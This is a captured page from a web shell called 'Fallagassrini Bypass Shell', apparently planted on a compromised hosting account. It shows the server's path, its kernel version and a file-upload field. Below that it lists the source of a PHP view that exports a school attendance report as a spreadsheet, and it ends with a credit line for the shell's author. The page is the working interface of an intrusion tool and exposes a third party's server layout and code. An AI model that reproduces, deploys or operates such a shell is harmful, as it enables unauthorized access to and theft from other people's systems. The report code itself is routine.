? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/report/xls_sos_attendance_report.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$start_date = $this->mastermodel->convertdateformat($postdata['from_date']);
$end_date = $this->mastermodel->convertdateformat($postdata['to_date']);
$diff = abs(strtotime($start_date) - strtotime($end_date));
$days = floor($diff / (60 * 60 * 24)) + 1;
$extra_class = $this->reportmodel->get_extra_class_attendance($postdata);
$batch = $this->mastermodel->get_data_srow('batch', $postdata['batch_id'], 'batch_id');
$date_html="";
$sub_html="";
$class_html="";
$html = '<html>
        <head>';
$html.='
    <table width="100%">
        <tr>
            <td colspan="2"></td>
            <td align="right"><img src="' . base_url() . 'assets/images/' . $logo . '" style="float:right"/></td>
        </tr>
        <tr>
            <td colspan="3" style="font-size:16px;" align="center"><b><u>Attendance  Report</u></b></td>
        </tr>
        <tr>
            <td colspan="3">From: ' . $postdata['from_date'] . '</td>
        </tr>
        <tr>
            <td>To: ' . $postdata['to_date'] . '</td>
        </tr>
        <tr>
            <td colspan="3">Printout Date : ' . date('d-m-Y') . ', ' . date('h:i:s a') . '</td>
        </tr>
    </table><br/><br/>';

 $teacher=$this->mastermodel->get_teacher_batch($postdata['batch_id'],$postdata['to_date'] ); 
                            if(!empty($teacher))
                                $teacher_name= $teacher->employee_name;
                            else
                                $teacher_name='';

$html.='<table width="100%"><tr><td colspan="3">
            <tr>
                <td colspan="3" style="font-size:16px;">Class Code</td>
                <td>' . $batch->batch_no . '</td>
            </tr>
            <tr>
                <td colspan="3" style="font-size:16px;">Facilitator</td>
                <td>' . $teacher_name. '</td>
            </tr>
            <tr>
                <td colspan="3" style="font-size:16px;">Batch Start Date</td>
                <td>' . $this->mastermodel->convertdatenormalformat($batch->start_date) . '</td>
            </tr>
        </table>';

$html.='<hr>
        <body>';

$html.='<hr>';


$html.='<table style="border-collapse: collapse" width="100%" >
            <thead>';

//                $html.='<tr>
//                    <th  style="text-align:left;" width="10%" bgcolor="#7FCEFF" >Sl No</th>
//                    <th style="text-align:left;width: 1000px" bgcolor="#7FCEFF"  >Student Name</th> ';
                        $date = $start_date;

                        $att_dates_marked = array();
                        $combined_att_dates = array();
                        $sub=array();
                        foreach ($report as $rep) {

                            $att_date = explode(',', $rep['att_date']);
                            $att_status = explode(',', $rep['att_status']);
                            $att_interval = explode(',', $rep['att_time']);
                            $att_subject=explode(',', $rep['att_subject']);
    
                            //    $att_dates_marked[$rep['student_id']] = array_combine($att_date, $att_status);
                            // get sub per date
                            foreach ($att_date as $id => $key) {
                                $date_sub=explode('~', $att_subject[$id]);
                                if(isset($date_sub[0])){
                                    if(!isset($sub[$key])){
                                        $sub[$key]=array($date_sub[2],$date_sub[1]);                                        
                                    }
                                }
                                $result[$key] = $att_status[$id].'-'. $att_interval[$id];

                            }
                            $att_dates_marked[$rep['student_id']] = $result;
                            if (isset($extra_class[$rep['student_id']]))
                                $extra_class_date = explode(',', $extra_class[$rep['student_id']]['extra_att_date']);
                            else
                                $extra_class_date = array();
                            $combined_att_dates = array_merge($att_date, $extra_class_date, $combined_att_dates);
                        }
                        
                        $combined_att_dates = array_unique($combined_att_dates);
                        $count_att_dates = count($combined_att_dates);


                        $dat = "";
                        $sub_temp="";
                        $subject_count=1;
                        $sub_colspan=array();
                        $sub_per_date=array();
                        while (strtotime($date) <= strtotime($end_date)) {
                            
                            if(isset($sub[$date]))
                            { 
                                if (in_array($date, $combined_att_dates)) {
                                    $sub_per_date[$sub[$date][0]][$date]=$sub[$date][1];
                                }
                                if($sub_temp!=$sub[$date][0]){
                                    $subject_count=1;
                                    $sub_date=$date;
                                }else{
                                    $subject_count=$subject_count+1;
                                }
                                $sub_colspan[$sub_date]=$subject_count;
                                $sub_temp=$sub[$date][0];
                                
                               
                            }                            
                            $date = date("Y-m-d", strtotime("+1 day", strtotime($date)));
                        }
                        
                        
//                    var_dump($sub_colspan);
//                        $no_days = $count_att_dates;

//                        while ($no_days > 0) {
//                            if ($no_days >= 7) {
//                                $colspan = 7;
//                            } else {
//                                $colspan = $no_days % 7;
//                            }
//
//                            $html.='<th style="text-align:left;width: 1000px" bgcolor="#7FCEFF"  colspan="' . $colspan . '" ></th> ';
//                            $no_days = $no_days - $colspan;
//                        }
//                $html.='</tr>';
                
                $sub_html.='<tr>
                    <th  style="text-align:left;" width="8%" bgcolor="#7FCEFF" >Sl No</th>
                    <th style="text-align:left;" width="20%" bgcolor="#7FCEFF"  >Student Name</th> ';
                
                $date_html.='<tr>
                    <th width="8%" style="text-align:left" bgcolor="#cdc9c9"></th>
                    <th style="text-align:left" bgcolor="#cdc9c9">Date</th>';
                
                $class_html.='<tr>
                    <th width="10%" >No.</th>
                    <th >Class Number</th>';
                
                
                    $date = $start_date;
                    $no_days = $count_att_dates;                    
                    $dat = "";
                    $colspan="";                    
                    $class_count=1;
                    
//                    foreach ($sub_per_date as $subject_id=>$date_of_sub) {
//                        $colspan="";
//                        if(count($sub_per_date[$subject_id])>1)
//                            $colspan='colspan="' . count($sub_per_date[$subject_id]) . '"';
//                            foreach($date_of_sub as $dt=>$subjectname){
////                            echo $sub_name;
//                                $sub_name=($subjectname=='no_sub')?"---":$subjectname;   
//                                $date_html.='<th style="text-align:left" bgcolor="#cdc9c9">' . date("d/M", strtotime($dt)). '</th>';
//                                $class_html.='<th style="text-align:left" >' . $class_count . '</th>';
//                                $class_count++;
//                            }
//                            $sub_html.='<th style="text-align:left;width: 1000px;" bgcolor="#7FCEFF"  ' . $colspan . ' >'.$sub_name.'</th> ';                                                            
//    
//                    }
//                $sub_html.='</tr>'; 
//                $date_html.='</tr>';  
//                $class_html.='</tr>'; 
                
                
//                $html.=$sub_html.$date_html.$class_html;
                

                $k = 1;
                $att_html="";
                foreach ($report as $rep) {
                    
                    $student = $this->mastermodel->get_data_srow('student', $rep['student_id'], 'student_id');
                    $att_html.='
                        <tr>
                            <td width="8%">' . $k . '</td>
                            <td width="20%">' . $student->first_name . ' ' . $student->last_name . '</td>';
                    
                    $date = $start_date;                    
                    $no_days = $count_att_dates;
                    $att_check = 0;
                    $dat = "";
                    $class_count=1;
                    foreach ($sub_per_date as $subject_id=>$date_of_sub) {  
                        if($k==1){
                            $colspan="";
                        if(count($sub_per_date[$subject_id])>1)
                            $colspan='colspan="' . count($sub_per_date[$subject_id]) . '"';
                        }
                        
                        foreach($date_of_sub as $date=>$subjectname){
                            $dt=$date;
                            if($k==1){
                            $sub_name=($subjectname=='no_sub')?"---":$subjectname;   
                                $date_html.='<th style="text-align:left" bgcolor="#cdc9c9">' . date("d/M", strtotime($dt)). '</th>';
                                $class_html.='<th style="text-align:left" >' . $class_count . '</th>';
                                $class_count++;
                        }
                            $attendance = "";
                            $att_check = 0;
                            if (isset($extra_class[$rep['student_id']])) {
                                if (in_array($date, explode(',', $extra_class[$rep['student_id']]['extra_att_date']))) {
                                    $attendance = '<font color="blue">E</font>';
                                    $att_check = 1;
                                }
                            }
                            $deactivate = $this->studentmodel->check_deactivate($postdata['batch_id'], $rep['student_id'], $date);
                            if ($deactivate > 0)
                                $attendance = '<font color="blue">D</font>';

                            elseif (in_array($date, explode(',', $rep['att_date']))) {
                                $key = array_search($date, explode(',', $rep['att_date']));                                
                                $status = explode(',', $rep['att_status']);                               
//                                $status_interval=explode('-', $att_dates_marked[$rep['student_id']][$date]);                                
                                $at_status=$status[$key];                                
                                if ($at_status == 0) {                                    
                                    $attendance = '<font color="green">P</font>';
                                } elseif ($at_status == 2)
                                    $attendance = '<font color="blue">D</font>';
                                elseif ($at_status == 1 && $att_check == 0)
                                    $attendance = '<font color="red">A</font>';
                            }
                            $att_html.='<td>'. $attendance  . '</td>';
                        }
                        if($k==1){
                            $sub_html.='<th style="text-align:left;"   ' . $colspan . ' >'.$sub_name.'</th> ';                                                            
    
                        }
                    }
                    $att_html.='</tr>';
                    $k++;
                }
                
$sub_html.='</tr>'; 
$date_html.='</tr>';  
$class_html.='</tr>'; 
                
                
$html.=$sub_html.$date_html.$class_html;
$html.='</thead>
        <tbody>';

$html.=$att_html.'</tbody></table>';
$html.='<hr>';
$html.='</body></html>';
//echo $html;
//die();
$filename = "Attendance report";
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . $filename . ".xls");
header("Pragma: no-cache");
header("Expires: 0");
print $html;
exit;
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net